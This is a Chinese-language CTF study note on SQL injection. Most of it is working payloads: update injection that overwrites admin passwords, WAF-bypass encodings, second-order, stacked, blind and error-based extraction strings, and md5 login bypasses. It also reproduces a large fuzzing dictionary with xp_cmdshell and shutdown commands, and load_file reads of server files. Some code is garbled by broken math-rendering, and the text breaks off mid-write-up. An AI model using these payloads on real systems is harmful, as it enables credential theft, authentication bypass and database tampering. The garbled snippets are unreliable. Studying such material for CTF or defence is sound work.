sql注入总结(时间盲注,布尔盲注,无列名注入,regexp盲注,order by注入,二次注入,update注入,报错注入)

一、update注入

q u e r y = " u p d a t e m e m b e r s e t s e x = ′ query="update member set sex=' query="updatemembersetsex=sex’,phonenum=‘ p h o n e n u m ′ , a d d r e s s = ′ phonenum',address=' phonenum,address=add,email=‘email where username=’$uesernam’";

这是update语句的简化版,update语法语句:

UPDATE table_name
SET column1=value1,column2=value2,...
WHERE column (1)=value(1), column (2)=value(2)...``and` `column``(n)=value(n);

一般where后面的条件语句只有一条

update有两种玩法:1、报错和盲注(一般不用union注入,好像不能用)

​ 2、更改管理员密码(当第一种不能使用时,有些会拦截,这时可以更改管理员密码)

1、报错注入(盲注和它差不多)

  1. 首先找到注入点
  2. 这里的关键是在于插入报错语句并且不会破坏正常语句的执行所以我们利用 ‘or updatexml(1,2,3) or’ 将语句插入,or也可以是and,前后的闭合符看具体情况,有时没有闭合符就写成:or updatexml(1,2,3) or。如:update users set password=‘123’ where id=1这里我们可写成 update users set password=‘123 ‘or updatexml(1,2,3) or’’ where id=1

2、更改管理员密码

  1. 开始的步骤一样,不过它有点鸡肋!!! 原因:我们需要猜它存放数据的密码那一列的名字,可能是password,passw,pw,没猜中就JJ

  2. 它的思路是我修改了很多的值并且在后面加了where限制条件,如果我们再多加一个修改密码的参数,并且在后面将where语句给注释掉,这样修改的值就从改这一个变成了改全部,从而将管理员密码修改。

    如:update user set age=‘ a g e ′ , s e x = ′ age',sex=' age,sex=sex’ where id=1 这里假如age注入点,并且密码的列名是password,则可以改为:update user set age=‘KaTeX parse error: Expected 'EOF', got '#' at position 21: …,password='123'#̲',sex='sex’ where id=1 插入的语句为:’ ,password=‘123’#

  3. 但是在我们创建账号时基本上password会先加密在放入数据库,而我们上面的写法肯定没有经过加密,所以我们还要知道它的加密形式,一般最简单的是md5,所以要将123加密为202cb962ac59075b964b07152d234b70再使用

  4. 除了要将password加密后再上传,还要注意#需要改写成%23,要不然有时#会失效

  5. 还有一点直接插入:’ ,password=‘202cb962ac59075b964b07152d234b70’%23,可能会被拦截我们还需要将’202cb962ac59075b964b07152d234b70’用hex转化从而绕过,最终变为:0x3230326362393632616335393037356239363462303731353264323334623730

    最后语句为:update user set age=‘ a g e ′ , p a s s w o r d = 0 x 3230326362393632616335393037356239363462303731353264323334623730 age' ,password=0x3230326362393632616335393037356239363462303731353264323334623730%23',sex=' age,password=0x3230326362393632616335393037356239363462303731353264323334623730sex’ where id=1

二、waf绕过

空格绕过:

a. +,/**/,%0a(换行),%a0(只有MySQL可用),%20,%09(Tab),%0c,%0d,%0b

b. 用括号绕过,双空格

方法使用说明
注释过滤/**/、/*!*/、//、#、–/**/union/**/select/**/1,2
括号过滤()(union)select(1,2)
符号过滤%00、%09、%20、%a0
%0a、%0b、%0c、%0d
%a0union%a0select%a01,2
引号过滤’ 、 "union select ‘1’, ‘2’
大小写过滤大小写/**/UnIoN/**/SeLeCt/**/1, 2
双关键字绕过‘+’uni’+‘on sel’+'ect 1,2#
正则表达式绕过\s、\s*union\s+select\s+1\s*,\s*2

注意:\s+ 表示匹配一个或多个空白字符,\s* 表示匹配零个或多个空白字符。

=绕过:

使用 in

原理:where id=1可换为where id in (‘1’) ,

应用场景:where table_name=database() 绕过=:where table_name in ('database()')

使用like替换

where(table_schema)like(database())相当于where(table_schema)=(database())

#绕过

假设闭合符是 '
--+
%23
or '1'='1
,'      展示:select name from student where name='1' group by 1,'';
%00(应该是%00截断的意思,也可以用来当做注释符,得写成:;%00,前面要有;使他成为一条语句,否则好像用不了)

user()绕过

user() ——> @@user() 、datadir ——> @@datadir

substr(32)绕过

substring(32),mid(20),left(),right(),lpad(),rpad(),reverse()

reverse()将内容倒转,还原脚本

str1="}47e57ee5b778-7bfb-a104-3c1f-4de"
str2=str1[::-1]
print(str2)

ascii绕过

ord() ——> ascii() :这两个函数在处理英文时效果一样,但处理中文时效果不一样
ascii ——> hex()、bin():替代之后再使用对应的进制转string即可

sleep替换

benchmark
select benchmark(10000000,sha(1))

group_concat()绕过

group_concat() ——> concat_ws()

information_schema替换

sys.schema_auto_increment_columns  
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io 
mysql.innodb_table_stats 
mysql.innodb_table_index
 
均可代替 information_schema
这里一定要想到用sys数据库下的几张表,来进行注入,注意:sys数据库中的几个表都无列名所以我们要进行无列名注入。

过滤逗号(使用from或者offset)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

if(exp1,exp2,epx3) 的逗号绕过

case when exp1 then sleep(4) else 1 end 来绕过 ","的限制
语句: 1' and (case when (length((select database())) = 14) then sleep(4) else 1 end)

使用join:

union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1

# 等价于下面这条SQL语句

select * from news limit 1 offset 0

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。

绕过方法:

(1)简单注入可以使用join方法绕过 原语句:union select 1,2,3 替换为join语句:union select * from (select 1)a join (select 2)b join (select 3) (2)对于盲注的那几个函数substr(),mid(),limit A. substr和mid()可以使用from for的方法解决 a. substr(str from pos for len) //在str中从第pos位截取len长的字符 b. mid(str from pos for len)//在str中从第pos位截取len长的字符 B. limit可以用offset的方法绕过 a. limit 1 offset 1 C. 使用substring函数也可以绕过 a.substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

利用对方waf绕过

实例:如果对方过滤了*,union,select之类的,因为对方会在语句执行时删除过滤的字符

所以,我们这样写uni*on就能绕过(其实和双写绕过差不多)

三、二次注入

  1. 原理:进行一次注入时因为addslashes等保护函数将’,"等转义而无法达到注入的效果,但是有些保护函数如addslashes,它的 \ 转义不会写入数据库内,导致存入数据库内的是有用的注入语句。这是我们只需重新让数据库使用这注入语句就达到了注入的目的!

  2. 使用场景:一般在注册页面进行第一次注入,在登录页面时期再次使用。注:能再次使用完全取决于代码不严谨,语句where username=‘ u s e r n a m e ′ a n d p a s s w o r d = ′ username' and password=' usernameandpassword=password’。

    过程为:

    ​ a. 首先将我们输入的 p a s s w o r d , password, password,username进行数据比较( 注:进行数据比较时转义的 \ 是不在二次语句内或不起效果的,这时找到了一次语句,之后才算登录成功)。

    ​ b.然后代码不严谨,将一次注入的语句拿来当where语句的条件,如果拿二次语句(有转义)的话注入不会成功!

  3. 过程分析:

    ​ a. 我们可以使用:1’ and 1=0#来判断是否有二次注入,我们先正常注册账号并登录,观察页面。之后使用1’ and 1=0#( 注:如果有漏洞,它会使where条件为假,而正常时where条件为真,所以页面会有所不同!)进行注册和登录,若页面于正常的不同则有漏洞

    ​ b.group by使用:先正常注册,假如username=1,password=1,之后在页面留下标记。然后注入:1’group by 1#( 注:它的username其实就是1,所以成功就能看到之前留下的标记),当失败时减去1就得到列数

    ​ c.一般使用union,报错,盲注(没办法时用)

  4. 过程详解:

    ​ a.union:

    ​ 条件:登录成功后会返回数据

    ​ 注意:和普通的union注入一样,第一条语句为假才能返回第二条的注入结果,所以xxx’ union select database()#中的 xxx必须是没有被注册的。

    ​ 语句:admin’ union select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name=‘flag’#

    b.报错:

    ​ 条件:写报错语句登录后有回显(注:它如果没有设计报错提示是没有报错回显!)

    ​ 语句:1’ and updatexml(1,concat(0x7e,database()),1)#

例题

[RCTF2015]EasySQL

具体的看RCTF2015]EasySQL-1|SQL注入

主要说思路
1.刚进去发现login和register页面,尝试这两页面是否有sql注入,尝试无果,但是在进行注册的时候发现admin用户存在
2.尝试弱命令爆破admin,发现不成
3.尝试注册一个新用户(这里要说明,它填写email的地方将@符给过滤了,NB),登入进去,首先尝试了三个有回显的链接,类似于?id=,无果
4.发现更改密码的页面,并且只需要输入旧密码和新密码,发现不需要输入用户名!!!
则猜测后台更新密码语句应该为:update password='xxxx' where username="xxxx"
5.注册用户名为admin"#(闭合符多尝试几次就行了),这样传入,就变成了username="admin"#":,进行admin用户的密码修改,登入发现页面和新用户登进去的页面一样,所以换个思路,二次注入
6.注册用户名为abc/,修改密码的时候发现报错,判断为二次注入
7.进行报错注入

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

思路:
1.查看源码发现file参数,?file=php://filer读取文件
2.分析发现change.php源码中user_name和phone都进行匹配,不存在注入,但是address使用的是addslashes,典型的二次注入
3.可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。 

四、堆叠注入

  1. 条件:目标存在sql注入漏洞

    ​ 目标未对";"号进行过滤

    ​ 目标中间层查询数据库信息时可同时执行多条sql语句

  2. 使用场景:

    ​ a.如果其他注入能用自不必说

    ​ b.比如本来要用union注入,但是union 被绝对拦截(/*union*/都不行),这时用堆叠就可以更改注入方法。如我们这时不需要union也能直接用select查询了,或者用其他的注入都行。

    ​ c.前面两种比较乐观,还有比较麻烦情况

  3. 过程详解:

    ​ a. 用堆叠的话,没必要直接用select了。直接用show databases; show tables; show columns from 表名;( 注:表名是字 符串就直接写,若是纯数字,则需要用反引号"`"括起来!) 。但是这里只能显示列的名字,不会显示数据,所以最后用select查询数据就行了!

    麻烦情况1: select被绝对过滤

    ​ 方法一:尝试绕过,将select拆开,

    ​ 1. prepare不能被过滤

    ​ 2.语法:

    set @sql=concat('sele','ct * fr','om Fl','ag');
    prepare xxx from @sql;
    execute xxx;
    //把'sele','ct * fr','om Fl','ag'联合放入@sql中
    //prepare aaa from @sql;从@sql调制东西放入aaa中;//
    //EXCUTE aaa;执行aaa;
    

    ​ 方法二:使用别的语句查数据,select的替换是handler(相当于一个数据指针,先创建要一个准备读取的对象然后操作这个 数据指针去读取表中的数据)

    1. handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
    2. handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
    3. handler 别名 close;(将这个句柄实例关闭)(我们查数据就没必要写第三句了)
    4. 语句:1’;handler 1919810931114514 open as toert ;(这里用了as写了别名,原来的名字太长了) handler toert read next%23

    ​ 方法三:

    ​ 1.分析:select不能写就用它语句自带的select(只有查询类题目能用),但是它查询的表(words)肯定不是flag所在的表 (1919810931114514 )。 所以我们要将words改为别的名字(word),同时将flag这数据所在表名改为words (语句顺序不能改,不允许同时出现同名表!) 。这里还要注意它的语句不是:select * from words 的话,我们还需要考虑列名是否一样,不一样还得改!

    1. 语句:改表名:rename table 原来的表名 to 更改的表名; 或者:alter table 旧名 rename (to) 新名((to)表示to可省略)

      实现:1’;rename table words to word;rename table1919810931114514to words;

      语句:改列名:alter table 表名 change ( column)原列名 新列名 列类型;((column)表示它可省略),列类型show column from 表名,返回的数据里写了的)

      实现 : alter table words change flag id varchar(100);

      语句:增加列名:alter table 表名 add column 列名 列属性 (这里假设用不上)

​ 3. 整体实现:1’;rename table words to word;rename table1919810931114514 to words;alter table words change flag id varchar(100); 然后再写个令where永为真的语句:1’ or ‘1’='1

麻烦情况二:关键性的表名被绝对过滤(并且prepare也被过滤)

​ 1.因为我们查数据必须要用到表名,被过滤flag所在的表名的话这时我们只有使用它自带的表名这一种办法,而且该表名的方法也 不能用

​ 2.思路:题目的后端语句可能和次类似:select $post[‘query’]||flag from Flag ,可以看到flag的表给了我们。一般的||是or的 意思,但是我们可以将||改变其作用,变为concat的意思。注:改为concat意思时的||,select 1||flag from Flag 不是select 1flag from Flag 的 意思,相当于在表后面加一列 1,所以列名flag不受影响。

​ 3. 语句:set sql_mode=PIPES_AS_CONCAT; 可将||改为concat的意思

​ 4.实现:1;set sql_mode=PIPES_AS_CONCAT;select 1

​ 5.补充:||为or意思时,注意字母相当于0,0为假,非0为真。而这里 $post[‘query’]||flag ,flag是字母已经有一边为假,所以 我们传非0数字有查询结果1,因为:数字||flag=1 相当于:select 1 from Flag 。而传0或字母时,字母||flag为假,可能会 有人觉得它有查询结果0,但是自己在数据库里测试它没有执行成功的,所以没有回显。大佬可以根据这个猜出后端语句,之 后这里没有过滤 * 也可以上传:*,1 ,也能得flag。代入select *,1||flag(这个等于1) from Flag 就不难理解了。

时间盲注

select * from student where name='123' or if(1=1,sleep(2),1) and '1'='1';//睡眠2秒

select * from student where name='123' or(case when 1=1 then sleep(2) else 1 end) and '1'='1';
//绕过逗号,睡眠2秒

uname=123&passwd=123')%09or(case%09when%09(substr(database()%09from%091%09for%091)>'K')%09then%09sleep(3)%09else%091%09end)%09and%09('1')=('1

S

无列名注入

原理:
select `3` from (select 1,2,3 union select * from user)a; #得到user表的第三列的数据
利用数字3代替未知的列名,需要加上反引号。后面加了一个a是为了表示这个表(select 1,2,3 union select * from user)的别名,不然会报错。
#注意:使用这个必须知道有多少列,这里是三列,而且这个只能猜,
#如:select `1` from (select 1,2,3,4,5,6 union select * from student)a; 这里的是6列

select b from (select 1,2,3 as b union select * from user)a;#当``被过滤时,用列的别名代替

无列名注入,主要是因为information_schame被过滤了,要使用替换的表

发现还有其他表如mysql.innodb_table_statssys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。

payload

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'     //爆表

//得到user表名,猜user表一般都是id ,name ,password三列

111'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'       //爆user表的第二列的数据

Regexp注入

原理:

原理:使用regexp正则匹配进行盲注,有的鸡肋,要求此表中只能有一行数据!!!
如:select * from student where id=''|| id regexp '^2';(此时有2行数据)
得到:202206 | XXX | 男   |   19 | 软件工程 | XXX
但是当:select * from student where id=''|| id regexp '^1';时
会得到:1234 | aaa  | 1    |   20 | aa   | bbb
则它们会产生冲突,导致无法得到正确的id

场景:

1.过滤了太多东西,select被真正的绝对过滤,没有过滤regexp
2.我们只需要得到特点的列的数据,且列名已知
3.表中只有一行数据(先猜它只有一行数据就行了,不行再说)

[NCTF2019]SQLi

1.因为单引号用不了,注释符又用不了。但是robots.txt的hint.txt中说了只要得到passwd就行了
select * from users where username='aa' and passwd='you_will_never_know7788990'(题目告诉了我们列名)
2.首先空格由/**/,or可以用||代替,然后对passwd配合regexp逐位盲注结果,regexp时利用^从开头开始盲注,
3.用到%00作为一个截断的作用来代替# 和-- -这类注释符,注(;%00,前面要有;使他成为一条语句,否则好像用不了)
4.使用regexp盲注脚本
收获
regexp注入可以配合^来从头开始匹配
%00作为截断的作用,可以代替注释符#和-- -
python中可以通过parse.unquote('%00')传递%00字符,

payload:请看sql脚本

order by盲注

原理

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

结合union使用
例如:
select username,password from users where username='admin' union select a,1 order by 1;
因为order by 默认是升序,当我们的ASCII码大于admin时(等于不行,应该是字符数量的原因,当字符一样时,字符数量越多则大于他)
所以当我们union中是a时,则语句第一行返回admin(省略了password)unionunion select b,1 order by 1;这时语句第一行返回b
这时在登录时输入admin,返回密码错误,输入不是admin,返回用户名不存在
所以当我们输入union中为a时返回密码错误,而输入的union中为b时,返回用户名不存在,形成盲注

例题

这个是在安恒杯月赛上看到的。 后台关键代码

$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
	$hit="username error!";
}else{
	if ($row['password'] === $password){
		$hit="";
	}else{
		$hit="password error!";
	}
             
}

payload

username=admin' union select 1,2,'字符串' order by 3#

sql语句就变为

select * from admin where username='admin' union select 1,2,binary '字符串' order by 3;

这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。 注意的是最好加上binary,因为order by比较的时候不区分大小写。

这里的order by 3是根据第三列进行排序,如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.

order by 盲注特殊情况(不需要盲注,直接登录)

来源:CTFHub_2017-赛客夏令营-Web-Injection V2.0

这时我们就需要聊一聊后台登录的3中逻辑

第一中:直接对用户输入的账号名和密码进行查询

$username=$_POST['username'];
$password=$_POST['password'];
$sql='select * from user where username='$username' and password='$password'';
#查询
#登陆成功第二种方法就是通过先查询用户名,如果用户存在之后验证密码是不是和数据库里面的密码一样。

#直接使用admin'||1=1#直接登录

第二种:通过先查询用户名,如果用户存在之后验证密码是不是和数据库里面的密码一样。

$sql = 'select password from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);#只要select语句能查询到语句,则isset($row)就为真
if(isset($row)){
	$hit="username error!";
}else{
	if ($row['password'] === $password){
		$hit="";
	}else{
		$hit="password error!";
	}
             
}

#我们直接构造:username=admin'union select 1 order by 1#
#这时,1小于admin,所以返回的第一行数据为1,即查询到的password变为1
#直接password=1,登录成功

我们可以也可以直接构造(这个更简单一点):username='union select 1 #
这时,第一个select查不到任何数据,而union 的select语句查到了1,即password变为1
直接password=1,登录成功

第三种:通过先查询用户名并且进行了用户名的比较,如果用户存在之后验证密码是不是和数据库里面的密码一样。

$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
	$hit="username error!";
}else{
	if ($row['password'] === $password){
		$hit="";
	}else{
		$hit="password error!";
	}
             
}

五、如何判断闭合类型:

  1. 没有过滤\且报错,直接用\,看报错内容就行了

  2. 过滤\但是没有报错,用 ’ 再用 " ,看报错内容就行了

  3. a. 过滤\且没有报错,先用 ’ ,看是否错误,再用 “ ,看是否错误,最后用 ) ,看是否错误,

    b.若只有 ‘ 错误则最内层为 ’ ‘,若只有“ 错误则最内层为 ”" 。(其中 ’ 和 "如果有则两个只能出现其中一个且只能出现一次,即在最内层)

    c.若全错,则最内层为(),且如果有外围也只能是()。(自己用MySQL测的,单引号和双引号只能在括号内)

    d.之后只需测外围有几层()就行了

六、waf字典

网上资源

'
"
#
-
--
' --
--';
' ;
= '
= ;
= --
\x23
\x27
\x3D \x3B'
\x3D \x27
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
';shutdown--
<>"'%;)(&+
' or ''='
' or 'x'='x
" or "x"="x
') or ('x'='x
0 or 1=1
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 1=1--
" or 1=1--
' or '1'='1'--
"' or 1 --'"
or 1=1--
or%201=1
or%201=1 --
' or 1=1 or ''='
" or 1=1 or ""="
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
@variable
,@variable
PRINT
PRINT @@variable
select
insert
as
or
procedure
limit
order by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
bfilename
' or username like '%
' or uname like '%
' or userid like '%
' or uid like '%
' or user like '%
exec xp
exec sp
'; exec master..xp_cmdshell
'; exec xp_regread
t'exec master..xp_cmdshell 'nslookup www.google.com'--
--sp_password
\x27UNION SELECT
' UNION SELECT
' UNION ALL SELECT
' or (EXISTS)
' (select top 1
'||UTL_HTTP.REQUEST
1;SELECT%20*
to_timestamp_tz
tz_offset
&lt;&gt;&quot;'%;)(&amp;+
'%20or%201=1
%27%20or%201=1
%20$(sleep%2050)
%20'sleep%2050'
char%4039%41%2b%40SELECT
&apos;%20OR
'sqlattempt1
(sqlattempt2)
|
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
(
%28
)
%29
&
%26
!
%21
' or 1=1 or ''='
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
'
' and '' like '
' AnD '' like '
' or '' like '
' and '' like '%
' aND '' like '%
' and '' like ''--
' and 2>1--
' and 2>3--
') and ('x'='x
) and (1=1
'or''='
'or'='or'
a' or 1=1--
"a"" or 1=1--"
 or a = a
a' or 'a' = 'a
1 or 1=1
a' waitfor delay '0:0:10'--
1 waitfor delay '0:0:10'--
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) 
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
a'
?
' or 1=1
‘ or 1=1 --
x' AND userid IS NULL; --
x' AND email IS NULL; --
anything' OR 'x'='x
x' AND 1=(SELECT COUNT(*) FROM tabname); --
x' AND members.email IS NULL; --
x' OR full_name LIKE '%Bob%
23 OR 1=1
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
'
'%20or%20''='
'%20or%20'x'='x
%20or%20x=x
')%20or%20('x'='x
0 or 1=1
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
 or 0=0 #"
or 0=0 #
' or 1=1--
" or 1=1--
' or '1'='1'--
' or 1 --'
or 1=1--
or%201=1
or%201=1 --
' or 1=1 or ''='
 or 1=1 or ""=
' or a=a--
 or a=a
') or ('a'='a
) or (a=a
hi or a=a
hi or 1=1 --"
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
"hi"") or (""a""=""a"
'hi' or 'x'='x';
@variable
,@variable
PRINT
PRINT @@variable
select
insert
as
or
procedure
limit
order by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
bfilename
' or username like '%
' or uname like '%
' or userid like '%
' or uid like '%
' or user like '%
exec xp
exec sp
'; exec master..xp_cmdshell
'; exec xp_regread
t'exec master..xp_cmdshell 'nslookup www.google.com'--
--sp_password
\x27UNION SELECT
' UNION SELECT
' UNION ALL SELECT
' or (EXISTS)
' (select top 1
'||UTL_HTTP.REQUEST
1;SELECT%20*
to_timestamp_tz
tz_offset
<>"'%;)(&+
'%20or%201=1
%27%20or%201=1
%20$(sleep%2050)
%20'sleep%2050'
char%4039%41%2b%40SELECT
&apos;%20OR
'sqlattempt1
(sqlattempt2)
|
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
(
%28
)
%29
&
%26
!
%21
' or 1=1 or ''='
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
a' or 3=3--
"a"" or 3=3--"
' or 3=3
‘ or 3=3 --

自己编写

or
OR
oorr
OOrr
||
and
AND
And
AAndnd
AANDND
&&
#
%23
--
+
=
like
Like
Lilikeke
  
%20
%09
%0a
/**/
group
Group
grogroupup
GroGroupup
Order
order
Ordorderer
by
BY
By
bbyy
BByy
group by
Group BY
order by
Order By
Ordorderer bbyy
Grogroupup bbyy
union
UNION
uniunionon
Uniunionon
select
SELECT
selselctect
union select
Union Select
,
database
DataBase
Database()
Databases
databases
concat
Conconcatcat
Concat
group_concat
Group_Concat
Group_congroup_concatcat
(
)
()
%28%29
%28
%29
;
;
from
From
Frfromom
information
INFORMATION
infORmation
infoorrmation
infOorRmation
schema
Schema
Scheschemma
schemata
Schemata
Schemschematata
tables
Tables
Tabtablesles
table
Table
Tabtablele
where
Where
Whewherere
column
Column
Colcolumnumn
sleep
Sleep
sleep()
Sleep()
extractvalue
floor
UpdateXml
NAME_CONST
join
exp
GeometryCollection()
polygon ()
multipoint ()
multlinestring ()
multpolygon ()
linestring ()
ascii
ascii()
Ascii()
ord
ord()
ORd()
substr
Substr()
if
If()
<
>
offset
Offset
from
From
benchmark
Benchmark
Benchmark()
substring(32)
SubString(32)
mid(20)
MID(20)
left
LEft
LEFT()
right()
Right
Right()
lpad()
Lpad
LPad()
rpad()
Rpad
Rpad()
reverse()
Reverse
Reverse()
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io
mysql.innodb_table_stats
mysql.innodb_table_inde
regexp
\
'
"

七、报错注入

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
读文件:
and extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e))#


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and (extractvalue(1,concat(0x7e,database())))

and (extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())))))

and (extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoRmation_schema.columns)where(table_schema)like(database())AND(table_name)like('H4rDsq1')))))

and (extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoRmation_schema.columns)where(table_name)like('H4rDsq1')))))

and (extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)))))

使用regexp正则匹配确定flag位置,from()后面加上where(real_flag_1s_here)regexp('^f')即可
and (updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))

and (extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)))))
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

or(updatexml(1,concat(0x7e,database()),1))

or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))

or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))

or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1))

or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

八、WP

md5加密及判断

来源:[GXYCTF2019]BabySQli

select * from user where username = '$name'

盲猜后台登录逻辑

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){
echo $flag;
}else{ echo “wrong pass!;
}}
else{ echo “wrong user!;}

如何知道ps是要md5加密

利用md5加密不能数组的特点,
如果md5()加密数组会报错: md5() expects parameter 1 to be string, array given in
所以ps[]=1,将ps变为数字,看是否报错

实现

发现很多sql语句被过滤,因此这里采用1' union select 1,2,3#进行判断列数,最终得出列数为3

然后判断字段名在哪一个字段,采用1' union select 1,'admin',3#,admin在尝试登陆时显示密码错误,别的账户显示账户错误,因此判断存在admin账户,最终得出admin在第二列
//select 1,'admin',3和select 1,admin,3不一样,第一个admin和1,3一样,直接当做列的数据。
//而第二个会将admin当做列名进行查找,显然这里没有叫admin的列名,所以报错

根据判断密码应该是在第三列,因此修改第三列参数,进行密码破解,数据库密码一般都是加密存储,因此对密码进行加密然后进行尝试,第一张图片获得加密方式,然后对pw值进行md5加密

payload构造:
1、
password:adc
md5(adc):225e8a3fe20e95f6cd9b9e10bfe5eb69
于是构造payload:name=1' union select 1,2,'225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc
2、
因为有md5我想到了md5不能处理数组,如果是数组则会返回NULL
构造payload:name=ad' union select 1,'admin',NULL#&pw[]=123

md5绕过sql注入

原句:select * from ‘admin’ where password=md5($pass,true)//password等于传入的进行md5加密后的变量
实现:MD5加密后的万能密码注入,查资料后,ffifdyop这个字符串MD5加密后得到276F722736C95D99E921722CF9ED621C 
     在将其进行16进制转字符后就是 'or' ******后面这串不为0就行,
     语句变为:username ='admin' and password =‘ ’or 'xxxxx',从而绕过

九、函数

load_file

权限:root 使用user()查看

?no=2 union/**/select 1,user(),3,4#

load_file函数只要满足3个条件就可以使用:

1、文件权限:chmod a+x pathtofile
2、文件大小: 必须小于max_allowed_packet
3、root权限

实现:

?no=2 union/ ** /select 1,load_file("/var/www/html/flag.php"),3,4#

例题

[CISCN2019 总决赛 Day2 Web1]Easyweb

1.首先发现login页面,尝试注入,不得行
2.查看robots.txt ,发现:*.php.bak,尝试index.php不行,尝试user.php不行,尝试image.php发现源码泄露
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);\\预定义字符之前添加反斜杠的字符串,单引号(')、双引号(")、反斜杠(\)
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);//替换 \0 %00 \ '为空
